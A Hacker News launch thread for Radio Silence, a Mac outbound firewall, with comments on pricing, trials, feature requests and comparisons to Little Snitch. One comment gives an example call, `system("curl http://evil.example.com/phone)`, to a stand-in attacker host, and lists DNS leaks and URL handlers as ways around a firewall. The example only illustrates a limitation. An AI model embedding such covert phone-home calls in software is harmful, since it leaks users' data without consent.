Show HN: My user-friendly outbound firewall for Mac
radiosilenceapp.com
radiosilenceapp.com
Now I ask you to put on your objectivity-soaked scientist's hat and answer: Would you have purchased the software if the price had been lower? If you already purchased, would you have been willing to go higher?
The way it stands, it looks like a pretty UI for configuring built-in firewall. And $19 for that is an overkill. Also, keep in mind who your audience is - (paranoid) geeks, so it is important to show that the app has some non-trivial content to it and it's not just an empty shell on top of what's available for free already.
In other words, if you manage to convince me that the app actually has some brains and smarts, that while it is simple, it is not trivial, then $19 is a fair price. If not, then even $10 is an overkill.
Here's another nitpick. Upon checkout it detected that I was in Canada and showed the price in CAD. It came to $9.16, and this is very odd since USD has been cheaper than CAD for a while now. It should've been under 9 CAD. I don't know why it worked out to be 9.16 and I don't really care, I just know it's wrong. So, not to confuse people like me just show the price in USD.
Western Union exhibits similar behaviour.
Quick thought — for the more-paranoid, would it make sense to let you switch to a whitelist, where only the listed applications are allowed to connect?
And my own small idea: what if I want an application to check for updates? Can I say "allow application to connect for this application session"? Then when the app quits, it won't be allowed to connect out again, unless it's whitelisted.
Is the price based on dev time, relation to similar products (little snitch is ~$40), or random guesswork?
I wanted to price this one below Little Snitch, but not in the single dollar range. The halfway point seemed good to me.
You've got my £5.50 anyway, I'd feel bad if I told you what I'd pay, then you set it to that and I didn't. Also, it means I can finally clear some of the localhost cruft out of my /etc/hosts that I'd forgotten about.
Everyone else seems to be clamouring for more features too, so I'll add one that would be useful: the ability to select multiple .app bundles at a time from the finder/select-file dialog window and add them. The Adobe tools I blocked required about 7 click-navigate-click-click operations alone.
The ability to toggle blocks without add/removing them would be nice as well, but (imho) anything else starts to smell of feaping creatures, and they should just buy Little Snitch.
(If you already purchased and feel left out, send an email and we'll figure it out).
No complaints at all.
May want to think about putting the qualifier inside the call to action:
Buy now for $9 (try risk-free for 30 days)
Then below the CTA put "If you're not absolutely happy..."
Alleviate their worries as in-context as possible.
Congrats on shipping! Baller.
+ nice website
+ app in the screenshot looks nice
? does it show up in the menubar or...? (maybe add a couple of screenshots)
- I can't try before I buy (yes, I've read the 30days/money back but it's still a barrier for most people)
Building a trial version was not a first priority before launching. It certainly is something I'll look into next.
See number 7 in http://www.joelonsoftware.com/articles/customerservice.html
A direct quote: "You can try Radio Silence risk-free for 30 days. If you're not absolutely happy, you'll get your money back, no questions asked."
I'm not sure there's an entirely rational reason for it, but I don't think I'm alone there.
Incidentally, what happens if I ask for a refund, then use it block itself so it can't phone home for the revocation? :)
If after buying the product you want a refund you still need to contact the seller (or go through some automated process). It's an extra step.
As a seller though, I would think less people would ask for a refund than the group of people that would have bought the product, but instead downloaded the demo and then decided not buy.
A question: does the copy on the website give the impression that it would? I don't want to mislead people.
1) Avoiding the verboseness of something like LittleSnitch is an admirable goal, but there's too much work for the user in your case. How difficult would it be to detect when applications perform network operations and then auto-populate the list so that the user can decide what to do about it? Some kind of categorization of traffic would be good too (ie, listing common protocol utilization [DNS,HTTP,SSH,etc]).
2) A simple thumbs-up, thumbs-down on applications would be great. That way the user could toggle the app for when they, say, want to pull some updates from Steam. From the screenshot it looks like you can only add or remove apps.
The website looks great and $9.00 feels like a good price point. I'll second the idea that $19.00 was too much. I hope it sells well.
They both solve similar problems, but from different points of view. I'm personally not a big fan of programs that constantly pop up alert windows.
Currently, it doesn't block non-app-bundle processes. The main reason for the app's existence is to block nosy apps that discreetly contact their home servers. I can't think of many (or any) terminal apps that do the same thing.
Also, as I've lately been an embedded software guy, I saw no harm or fear in a little kernel code.
I'm just attracted to the smaller memory footprint I guess and the simple UI. :D
"Radio Silence lets you block internet access from any applications you would rather keep silent."
My applications have/need internet access? Why do I need to silence them?
Do not assume people already know why they need this. Find a good selling point to the above questions (privacy, right?) and drive it. You should then be able to charge at least $30.
I also feel like I would feel more confident in the product and the co. behind it, if I saw links that lead to things like contact, documentation and support. I do not want to be left out in the cold should I need help.
I hope this helps.
The filtering is based on the connecting app itself, not individual ports.
So, yes, Radio Silence works with Spotify.
You can easily block applications that don't try to be sneaky, but are firewalls able block something like `system("curl http://evil.example.com/phone)`? Leaks via DNS queries? URL handlers? Applescripting of other applications?
I made the conscious choice to only block applications that play nice. It should cover most of the use cases. If there was a malicious app on your system, it would probably be impossible to even select it using the current UI.
I have no idea how to make the arms race against malware nice, lightweight or unobtrusive. With this software, I did not even attempt to.
Well done IMO.
Any help?
Hmm. I'll send you a private message. That hasn't happened on any of the test machines I've used.
That's pretty much the only reason, I would have been happy to sell it through the store.
You may forget about this and wonder why my apps aren't connecting but glad there isn't dock or menu icon!
2.18 Apps that install kexts will be rejected